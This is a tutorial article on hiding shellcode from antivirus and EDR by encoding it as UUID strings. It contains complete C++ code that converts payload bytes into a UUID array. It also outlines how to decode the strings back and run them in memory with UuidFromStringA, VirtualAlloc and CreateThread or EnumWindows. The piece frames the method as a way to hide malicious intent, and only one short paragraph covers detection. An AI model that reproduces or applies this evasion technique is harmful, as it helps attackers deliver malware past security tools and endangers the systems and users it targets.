In the field of offensive security, evading antivirus and endpoint detection systems is a critical requirement for successful post-exploitation and payload delivery. Among the more refined techniques is the use of UUID (Universally Unique Identifier) strings to represent raw shellcode in a way that appears completely legitimate to both antivirus software and EDR solutions. This article walks through how to convert shellcode into an array of UUID strings, with a full breakdown of the C++ implementation.
UUIDs are widely used in legitimate applications to uniquely identify resources or objects. Leveraging UUIDs to represent shellcode has two key advantages:
- Static Evasion: The payload is not present as raw binary code, avoiding signature-based detection.
- Easy Runtime Decoding: Each UUID can be decoded into 16 bytes of original shellcode using native Windows APIs.
The following C++ code takes raw shellcode (only 4 bytes here for demonstration) and converts it into an array of UUID strings.
#include <Windows.h> // Basic Windows API header
#include <Rpc.h> // Required for UUID functions
#include <iostream> // For console output
#include <iomanip> // For output formatting (not used here)
#include <string> // Support for std::string (not used in this snippet)
#include <algorithm> // For std::min
#pragma comment(lib, "Rpcrt4.lib") // Automatically links the Rpcrt4.lib containing UUID-related APIs
// Original shellcode (truncated to 4 bytes for example purposes; real shellcode may be much larger)
unsigned char buf[] = "\xfc\xe8\x89\x00"; // Payload to be converted to UUID format
// Function to convert 16 bytes into a UUID and print it as a string
void print_uuid(const unsigned char* bytes) {
UUID uuid; // UUID structure that will hold the 16 bytes
memcpy(&uuid, bytes, 16); // Copy 16 bytes from the buffer into the UUID structure
char* uuid_str; // Pointer to hold the string representation of the UUID
UuidToStringA(&uuid, (RPC_CSTR*)&uuid_str); // Convert binary UUID into string
std::cout << "\"" << uuid_str << "\""; // Print UUID wrapped in quotes
RpcStringFreeA((RPC_CSTR*)&uuid_str); // Free the memory allocated by UuidToStringA
}
int main() {
// Calculate the size of the shellcode
size_t shellcode_size = sizeof(buf) - 1; // Subtract 1 to exclude the null terminator
// Determine how many UUIDs are needed (each UUID represents 16 bytes)
size_t num_uuids = (shellcode_size + 15) / 16; // Round up to cover all bytes
std::cout << "const char* uuids[] = {\n"; // Begin C-style array of strings
for (size_t i = 0; i < num_uuids; i++) {
unsigned char uuid_bytes[16] = { 0 }; // Temporary buffer of 16 bytes initialized to zero
// Determine how many bytes to copy in this iteration
size_t bytes_to_copy = std::min<size_t>(16, shellcode_size - i * 16);
// Copy bytes from the shellcode into the temporary buffer
memcpy(uuid_bytes, &buf[i * 16], bytes_to_copy);
// Print the UUID representation of this 16-byte block
print_uuid(uuid_bytes);
// Add a comma between array elements, except after the last one
if (i < num_uuids - 1) {
std::cout << ",";
}
std::cout << "\n"; // Newline after each UUID
}
std::cout << "};\n"; // Close the array declaration
return 0; // Exit the program
}The program will output an array like:
const char* uuids[] = {
"0089e8fc-0000-0000-0000-000000000000"
};Each string represents a 16-byte block of the original shellcode. In real-world use, these UUID strings can be stored in source code, embedded in documents, placed in registry keys, or passed over the network, all while looking legitimate.
In a second stage (not covered here), each UUID string can be decoded back into its original 16-byte binary form using UuidFromStringA, stored in a buffer allocated with VirtualAlloc, and executed via CreateThread, EnumWindows, or NtCreateThreadEx. The technique is highly effective when used in combination with in-memory execution and anti-analysis checks.
This technique is used legitimately in Red Team engagements and malware analysis research, but it has also been observed in advanced persistent threats. Defensive detection should include monitoring suspicious use of UuidFromStringA, executable memory allocations via VirtualProtect, and loops that decode multiple UUID strings into memory.
Author’s Note: This article is the result of detailed research and testing in lab environments using official Windows APIs and standard shellcode generation techniques. The method represents an elegant way to hide malicious intent behind legitimate structures.
Author: Mario Protopapa